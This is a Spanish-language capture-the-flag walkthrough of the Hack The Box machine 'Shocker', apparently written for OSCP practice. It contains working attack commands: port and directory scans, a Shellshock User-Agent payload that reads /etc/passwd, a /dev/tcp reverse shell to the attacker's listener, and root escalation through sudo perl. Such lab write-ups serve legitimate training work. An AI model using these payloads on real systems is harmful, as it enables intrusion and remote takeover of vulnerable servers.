OSCP Path ~ Shocker de Hack The Box (Necesario VIP)
Shocker ~ Hack The Box to OSCP
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn 10.10.10.56 -oG allports "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Procedemos a Fuzzear para encontrar las diferentes rutas a nivel web que pueda tener la maquina victima. Usamos la herramienta DIRB
# dirb http://10.10.10.56
-----------------
START_TIME: Sat Jun 12 12:19:55 2021
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.56/ ----
"+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294) "
"+ http://10.10.10.56/index.html (CODE:200|SIZE:137) "
"+ http://10.10.10.56/server-status (CODE:403|SIZE:299) "
-----------------
END_TIME: Sat Jun 12 12:25:47 2021
DOWNLOADED: 4612 - FOUND: 3
Vemos que nos encuentra una ruta con nombre /cgi-bin/
Usamos la herramienta dirsearch
para hacer un segundo Fuzzing con diferentes extensiones.
# dirsearch -u http://10.10.10.56/cgi-bin -e sh,txt,php,html -f -t 200 130 ⨯ 1 ⚙
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: sh, txt, php, html | HTTP method: GET | Threads: 200 | Wordlist size: 42323
Output File: /root/.dirsearch/reports/10.10.10.56/cgi-bin_21-06-12_12-35-06.txt
Error Log: /root/.dirsearch/logs/errors-21-06-12_12-35-06.log
Target: http://10.10.10.56/cgi-bin/
[12:35:06] Starting:
..
[12:35:43] 200 - 118B - "/cgi-bin/user.sh"
Encontramos un recurso en bash, vamos a probar a apuntarle desde nuestra terminal con una peticion CURL
# curl -X GET "http://10.10.10.56/cgi-bin/user.sh" 18 ⨯
Content-Type: text/plain
Just an uptime test script
07:14:39 up 2:11, 0 users, load average: 0.00, 0.00, 0.00
Nos especifica que el script esta usando el comando uptime para ir actualizando el tiempo de la maquina mientras este activa (Es Dinamico)
Aqui nosotros si hemos escuchado hablar sobre la Vulnerabilidad llamada ShellShock
, podemos intuir que los tiros pueden ir por ahi..
Aqui dejo el articulo informativo sobre la vulnerabilidad "https://blog.cloudflare.com/inside-shellshock/"
Shellshock como Vulnerabilidad (RCE)
Procedemos a explotar la vulnerabilidad encontrada en la maquina SHOCKER
Ejecutamos el comando /bin/bash -c 'cat /etc/passwd'
para ver si obtenemos Ejecucion Remota de Comandos
# curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash
Una vez verificado la vulnerabilidad!! Procedemos a intentar enviarnos una Reverse-shell a nuestro equipo desde la maquina victima explotando la vulnerabilidad ShellShock
# curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.13/443 0>&1'" http://10.10.10.56/cgi-bin/user.sh
Nos ponemos a la escucha con una session de netcat
y ejecutamos el comando por arriba para ver si recibimos la conexion.
# nc -vlnp 443
listening on [any] 443 ...
connect to [10.10.15.13] from (UNKNOWN) [10.10.10.56] 43304
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
shelly@Shocker:/usr/lib/cgi-bin$ ^Z
zsh: suspended nc -vlnp 443
# Hacemos un tratamiento de la tty para que sea interactiva
┌──(root💀kali)-[/home]
└─# stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -vlnp 443
reset
reset: unknown terminal type unknown
Terminal type? xterm
shelly@Shocker:/usr/lib/cgi-bin$ export TERM=xterm
shelly@Shocker:/usr/lib/cgi-bin$ export SHELL=bash
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$
Vale ahora faltaria setear las rows y columns segun nuestra tty para que tenga la mismas proporciones.
Una vez dentro si nos dirigimos al directorio /home/shelly/user.txt podriamos ver la flag:
shelly@Shocker:/$ cd home
shelly@Shocker:/home$ ls
shelly
shelly@Shocker:/home$ cat shelly/*
fd3834f5565767551d05x0550xxxxxxx
Escalada de Privilegios hasta el user Root
Procedemos a enumerar el sistema con los siguientes comandos:
shelly@Shocker:/var$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: "/usr/bin/perl"
Apartir de aqui hacemos una busqueda en la pagina de GTFOBins y encontramos que con el commando perl podemos spawnearnos una shell, y como podemos usar el comando como SUID ya estaria
- GTFOBins - https://gtfobins.github.io/gtfobins/perl/
shelly@Shocker:/var$ sudo /usr/bin/perl -e 'exec "/bin/sh";' # whoami root # cat roo* 2754c7de9b01e33009bb75xxxxxxxxx
Ya tendriamos la flag de
root.txt
. Maquina Rooteada!!